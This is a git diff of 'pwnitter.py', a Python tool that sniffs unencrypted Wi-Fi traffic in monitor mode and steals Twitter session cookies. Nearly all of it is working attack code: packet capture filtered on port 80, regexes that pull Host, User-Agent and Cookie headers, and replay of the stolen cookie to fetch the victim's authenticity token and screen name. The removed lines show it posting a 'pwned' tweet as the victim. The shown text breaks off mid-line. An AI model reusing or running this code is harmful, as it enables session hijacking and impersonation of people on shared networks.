X-Git-Url: http://git.maemo.org/git/?p=pwnitter;a=blobdiff_plain;f=pwnitter.py;h=a007b0bcd98df9d9e42bf951e70c21f9a9455f8c;hp=61c98e47081e89dc6fe8f204ad440b2cf040747e;hb=64bb8f25a382fbed7f29f59c5e6b050f9dd15748;hpb=6a3bd277cb62fdb1211603191b00c91606f75e6a diff --git a/pwnitter.py b/pwnitter.py index 61c98e4..a007b0b 100755 --- a/pwnitter.py +++ b/pwnitter.py @@ -7,13 +7,16 @@ import dbus.service import dbus.mainloop.glib import getopt, sys, pcap, dpkt, re, httplib, urllib +import logging +import logging.config import socket import time import gobject import select import subprocess +import urllib2 -status = 'I browsed twitter insecurely on #fossdotin and all I got was this lousy tweet.' +status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.' def usage(): print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] @@ -22,21 +25,30 @@ def usage(): NAME = 'de.cryptobitch.muelli.Pwnitter' class Pwnitter(dbus.service.Object): - def __init__(self, bus, object_name, device='mon0'): + def __init__(self, bus, object_name, device='mon0', run_once_only=False): super(Pwnitter, self).__init__(bus, object_name) self.device = device self.status = status self.is_running = False + self.run_once_only = run_once_only - @dbus.service.method(NAME, - in_signature='', out_signature='') - def Start(self, device='mon0'): - # FIXME: Prevent double Start() + def setup_monitor(device='mon0'): + # FIXME: Replace hardcoded interface cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split() subprocess.call(cmd) cmd = '/sbin/ifconfig mon0 up'.split() subprocess.call(cmd) + + @dbus.service.method(NAME, + in_signature='', out_signature='') + def Start(self, filename=None): + # FIXME: Prevent double Start() + if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device + self.setup_monitor(device) + device = self.device + else: # We have given a filename, so let's make PCap read from the file + device = filename self.is_running = True try: self.cap = pcap.pcap(device) @@ -44,8 +56,18 @@ class Pwnitter(dbus.service.Object): print "Error setting up %s" % device raise e self.cap.setfilter('dst port 80') - gobject.idle_add(lambda: self.pwn(self.device, self.MessageSent)) + cap_fileno = self.cap.fileno() + self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) + + @dbus.service.method(NAME, + in_signature='s', out_signature='') + def StartFromFile(self, filename): + return self.Start(filename=filename) + + def cap_readable_callback(self, source, condition, device): + return self.pwn(device, self.MessageSent) + @dbus.service.signal(NAME) def MessageSent(self, who): print "Emitting MessageSent" @@ -63,136 +85,155 @@ class Pwnitter(dbus.service.Object): def GetMessage(self): return self.status + + def tear_down_monitor(self, device='mon0'): + cmd = '/sbin/ifconfig mon0 down'.split() + subprocess.call(cmd) + cmd = '/usr/sbin/iw dev mon0 del'.split() + subprocess.call(cmd) + @dbus.service.method(NAME, in_signature='', out_signature='') def Stop(self): self.is_running = False print "Receive Stop" - cmd = '/sbin/ifconfig mon0 down'.split() - subprocess.call(cmd) - cmd = '/usr/sbin/iw dev mon0 del'.split() - subprocess.call(cmd) + gobject.source_remove(self.source_id) + self.tear_down_monitor(self.device) loop.quit() def pwn(self, device, tweeted_callback=None): + log = logging.getLogger('pwn') + processed = {} if self.is_running: # This is probably not needed, but I feel better checking it more than too less - #for ts, raw in self.cap: # This blocks. Which is unfortunate if the application wants to exist - cap_fileno = self.cap.fileno() - rlist, wlist, errlist = select.select([cap_fileno], [], [], 2.5) - #print 'rlist, wlist, errlost: %s, %s, %s' % (rlist, wlist, errlist) - if cap_fileno in rlist: - ts, raw = self.cap.next() - eth = dpkt.ethernet.Ethernet(raw) - #print 'got a packet' - # Depending on platform, we can either get fully formed packets or unclassified radio data - if isinstance(eth.data, str): - data = eth.data + ts, raw = self.cap.next() + eth = dpkt.ethernet.Ethernet(raw) + log.debug('got a packet') + # Depending on platform, we can either get fully formed packets or unclassified radio data + if isinstance(eth.data, str): + data = eth.data + else: + data = eth.data.data.data + + hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) + if hostMatches: + host = hostMatches.group(1) + log.debug('Host matched %s', host) + + user_agent_matches = re.search('User-Agent: ([^\n]+)', data) + if user_agent_matches: + user_agent = user_agent_matches.group(1) + log.debug('Found UserAgent: %s', user_agent) else: - data = eth.data.data.data - - hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) - if hostMatches: - print 'Host matched' - host = hostMatches.group(1) - - cookieMatches = re.search('Cookie: ([^\n]+)', data) - if cookieMatches: - cookie = cookieMatches.group(1) - - headers = { - "User-Agent": "Mozilla/5.0", - "Cookie": cookie, - } - - conn = httplib.HTTPSConnection(host) - try: - conn.request("GET", "/", None, headers) - except socket.error, e: - print e - else: - response = conn.getresponse() - page = response.read() - - # Newtwitter and Oldtwitter have different formatting, so be lax - authToken = '' - - formMatches = re.search("<.*?authenticity_token.*?>", page, 0) - if formMatches: - authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0)) - - if authMatches: - authToken = authMatches.group(1) - - nameMatches = re.search('"screen_name":"(.*?)"', page, 0) - if not nameMatches: - nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0) - - name = '' - if nameMatches: - name = nameMatches.group(1) - + user_agent = "Mozilla/5.0" + + cookieMatches = re.search('Cookie: ([^\n]+)', data) + log.debug('CookieMatches? %r', cookieMatches) + + if cookieMatches: + cookie = cookieMatches.group(1) + log.debug('yummie Cookie %r', cookie) + + headers = { + "User-Agent": user_agent, + "Cookie": cookie, + } + + try: + page = urllib2.urlopen("https://%s/" % host).read() + except socket.error, e: + log.error(e) + else: + log.debug('Connected to host %s', host) + #log.debug("%s", page) + if '''